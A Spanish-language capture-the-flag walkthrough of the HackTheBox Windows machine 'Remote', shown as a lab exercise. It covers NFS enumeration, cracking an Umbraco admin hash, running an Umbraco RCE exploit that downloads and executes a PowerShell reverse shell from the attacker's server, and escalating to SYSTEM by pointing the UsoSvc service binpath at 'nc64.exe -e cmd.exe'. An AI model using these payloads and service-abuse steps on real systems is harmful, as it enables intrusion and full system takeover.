Remote es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Remote 10.10.10.180 a /etc/hosts como remote.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
# Nmap 7.80 scan initiated Sun May 10 13:38:30 2020 as: nmap -sV -Pn -oA remote-nmap 10.10.10.180 Nmap scan report for 10.10.10.180 Host is up (0.16s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 111/tcp open rpcbind 2-4 (RPC #100000) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 2049/tcp open mountd 1-3 (RPC #100005) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun May 10 13:41:34 2020 -- 1 IP address (1 host up) scanned in 184.30 seconds |
Lanzamos un primer escaneo y vemos varios servicios abiertos que son interesantes, abrimos de primeras el portal web existente en el puerto 80 y nos encontramos con lo siguiente:
Vemos alguna página que podría ser interesante pero vamos a verificar si en el puerto 2049 (nfs) visto antes, no podemos encontrar más información. Lanzamos de nuevo nmap, pero esta vez contra dicho servicio concreto:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
# Nmap 7.80 scan initiated Sun May 10 13:41:14 2020 as: nmap -sV --script=nfs-showmount -oA remote-nfs 10.10.10.180 Nmap scan report for 10.10.10.180 Host is up (0.13s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 111/tcp open rpcbind 2-4 (RPC #100000) | nfs-showmount: |_ /site_backups | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/tcp6 rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 2,3,4 111/udp6 rpcbind | 100003 2,3 2049/udp nfs | 100003 2,3 2049/udp6 nfs | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/tcp6 nfs | 100005 1,2,3 2049/tcp mountd | 100005 1,2,3 2049/tcp6 mountd | 100005 1,2,3 2049/udp mountd | 100005 1,2,3 2049/udp6 mountd | 100021 1,2,3,4 2049/tcp nlockmgr | 100021 1,2,3,4 2049/tcp6 nlockmgr | 100021 1,2,3,4 2049/udp nlockmgr | 100021 1,2,3,4 2049/udp6 nlockmgr | 100024 1 2049/tcp status | 100024 1 2049/tcp6 status | 100024 1 2049/udp status |_ 100024 1 2049/udp6 status 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 2049/tcp open mountd 1-3 (RPC #100005) | nfs-showmount: |_ /site_backups Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun May 10 13:42:49 2020 -- 1 IP address (1 host up) scanned in 94.63 seconds |
Y, tal como esperábamos, hemos descubierto más información como la ruta del punto de montaje, /site_backups.
Enumeración
Continuamos montando el nfs descubierto a continuación:
1 |
$ mount -o nfsvers=4 -t nfs 10.10.10.180:/site_backups nfs |
Revisamos los ficheros existentes en el mismo y encontramos varios ficheros interesantes en la carpeta App_Data pertenecientes al CMS umbraco:
1 2 3 4 5 6 7 8 9 |
$ ls -l App_Data/ total 1969 drwx------ 2 nobody 4294967294 64 feb 20 18:16 cache drwx------ 2 nobody 4294967294 4096 feb 20 18:16 Logs drwx------ 2 nobody 4294967294 4096 feb 20 18:16 Models drwx------ 2 nobody 4294967294 64 feb 20 18:16 packages drwx------ 2 nobody 4294967294 4096 feb 20 18:16 TEMP -rwx------ 1 nobody 4294967294 36832 feb 20 07:59 umbraco.config -rwx------ 1 nobody 4294967294 1965978 feb 20 07:05 Umbraco.sdf |
Obtenemos la versión del mismo que es la 7.12.4 y un hash del usuario admin en el fichero Umbraco.sdf:
1 2 3 |
$ strings Umbraco.sdf |grep adminadmin adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50 adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f |
Se trata de un hash sha1 así que tratamos de descifrar el mismo y obtenemos la siguiente password:
1 |
b8be16afba8c314ad33d812f22a04991b90e2aaa : baconandcheese |
Conociendo la versión del CMS buscamos en google si tiene alguna vulnerabilidad importante que nos ayude a continucar y descubrimos un exploit Umbraco-RCE, así que nos descargamos el mismo y probaremos a explotar la vulnerabilidad.
La sintaxis del exploit es la siguiente:
1 |
usage: exploit.py [-h] -u USER -p PASS -i URL -c CMD [-a ARGS] |
Así que nos creamos una reverse shell en powershell para ejecutarla en la máquina víctima, en nuestro caso la hemos llamado reverse.ps1
1 2 3 |
$client = New-Object System.Net.Sockets.TCPClient('10.10.x.x',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() $sm=(New-Object Net.Sockets.TCPClient('10.10.x.x',4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)} |
Nos levantamos un servidor http con python:
1 2 |
$ python3 -m http.server 12312 Serving HTTP on 0.0.0.0 port 12312 (http://0.0.0.0:12312/) ... |
Y ejecutamos el exploit:
1 |
$ python exploit.py -u admin@htb.local -p baconandcheese -i http://remote.htb -c powershell.exe -a "IEX (New-Object Net.WebClient).DownloadString('http://10.10.x.x:12312/reverse.ps1')" |
Levantamos una escucha y a los pocos segundos conseguimos una shell en la máquina:
1 2 3 4 5 6 7 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.x.x] from remote.htb [10.10.10.180] 49784 whoami iis apppool\defaultapppool C:\windows\system32\inetsrv |
Obteniendo la flag de user
Ahora que ya tenemos una shell probamos a obtener la flag de user y listo, tenemos la primera:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.x.x] from remote.htb [10.10.10.180] 49784 whoami iis apppool\defaultapppool PS C:\windows\system32\inetsrv> cd .. PS C:\windows\system32> cd .. PS C:\windows> cd .. PS C:\> cd Users PS C:\Users> cd Public PS C:\Users\Public> dir Directory: C:\Users\Public Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 2/19/2020 3:03 PM Documents d-r--- 9/15/2018 3:19 AM Downloads d-r--- 9/15/2018 3:19 AM Music d-r--- 9/15/2018 3:19 AM Pictures d-r--- 9/15/2018 3:19 AM Videos -ar--- 5/10/2020 5:13 AM 34 user.txt PS C:\Users\Public> |
Escalado de privilegios
Ahora para escalar a system, lo primero que vamos a hacer es enumerar todo lo posible con la idea de obtener información del sistema, utilizaremos el script de PowerUp.ps1
Nos descargaremos el mismo y lo subiremos a la máquina:
1 |
invoke-webrequest -Uri http://10.10.15.228:12312/PowerUp.ps1 -OutFile powerup.ps1 |
Ahora que lo tenemos ejecutaremos powershell:
1 |
C:\temp>powershell -ep bypass |
Importaremos el módulo al sistema:
1 |
PS C:\temp> Import-Module c:\temp\powerup.ps1 |
Lo ejecutamos:
1 |
PS C:\temp> . .\powerup.ps1 |
Y lanzaremos los chequeos:
1 |
PS C:\temp> Invoke-AllChecks | Out-File -Encoding ASCII checks.txt |
Que nos darán los siguientes resultados:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
Invoke-AllChecks [*] Running Invoke-AllChecks [*] Checking if user is in a local group with administrative privileges... [*] Checking for unquoted service paths... [*] Checking service executable and argument permissions... [*] Checking service permissions... ServiceName : UsoSvc Path : C:\Windows\system32\svchost.exe -k netsvcs -p StartName : LocalSystem AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc' CanRestart : True [*] Checking %PATH% for potentially hijackable DLL locations... Test-Path : Access is denied At C:\temp\powerup.ps1:856 char:46 + ... if($ParentPath -and (Test-Path -Path $ParentPath)) { + ~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : PermissionDenied: (C:\Windows\syst...Local\Microsoft:String) [Test-Path], UnauthorizedAc cessException + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.TestPathCommand [*] Checking for AlwaysInstallElevated registry key... [*] Checking for Autologon credentials in registry... [*] Checking for modifidable registry autoruns and configs... [*] Checking for modifiable schtask files/configs... [*] Checking for unattended install files... UnattendPath : C:\Windows\Panther\Unattend.xml [*] Checking for encrypted web.config strings... [*] Checking for encrypted application pool and virtual directory passwords... [*] Checking for plaintext passwords in McAfee SiteList.xml files.... [*] Checking for cached Group Policy Preferences .xml files.... |
Si revisamos la salida anterior observamos que el servicio UsoSvc es vulnerable:
1 2 3 4 5 6 |
[*] Checking service permissions... ServiceName : UsoSvc Path : C:\Windows\system32\svchost.exe -k netsvcs -p StartName : LocalSystem AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc' CanRestart : True |
Así que nos descargamos nc y lo subimos a la máquina:
1 |
invoke-webrequest -Uri http://10.10.x.x:12312/nc64.exe -OutFile nc64.exe |
Y probamos con el comando Invoke-ServiceAbuse:
1 |
Invoke-ServiceAbuse -Name 'UsoSvc' -Command "c:\temp\nc64.exe -e cmd.exe 10.10.x.x 2222" |
Parece que se ejecuta bien pero no conseguimos nuestra shell así que vamos a probar editando el binarypath del servicio para conseguir nuestra shell.
Pararemos entonces nuestro servicio, editaremos el binarypath y lo levantaremos de nuevo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
PS C:\temp> sc.exe start usosvc PS C:\temp> sc.exe config UsoSvc binpath="C:\temp\nc64.exe -e cmd.exe 10.10.x.x 4445" [SC] ChangeServiceConfig SUCCESS PS C:\temp> sc.exe qc usosvc sc.exe qc usosvc [SC] QueryServiceConfig SUCCESS SERVICE_NAME: usosvc TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START (DELAYED) ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\temp\nc64.exe -e cmd.exe 10.10.x.x 4445 LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Update Orchestrator Service DEPENDENCIES : rpcss SERVICE_START_NAME : LocalSystem PS C:\temp> sc.exe start usosvc sc.exe start usosvc |
Y ahora sí, tenemos la shell como system:
1 2 3 4 5 6 7 8 9 |
$ nc -lvnp 4445 listening on [any] 4445 ... connect to [10.10.x.x] from (UNKNOWN) [10.10.10.180] 49730 Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system |
Obteniendo la flag de root
Una vez conseguida la shell como system, sólo nos queda ir a la home del usuario administrador a por nuestra flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
C:\Windows\system32>dir c:\users\administrator\desktop dir c:\users\administrator\desktop Volume in drive C has no label. Volume Serial Number is BE23-EB3E Directory of c:\users\administrator\desktop 02/20/2020 03:41 AM <DIR> . 02/20/2020 03:41 AM <DIR> .. 05/10/2020 05:10 PM 34 root.txt 1 File(s) 34 bytes 2 Dir(s) 19,383,238,656 bytes free C:\Windows\system32> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.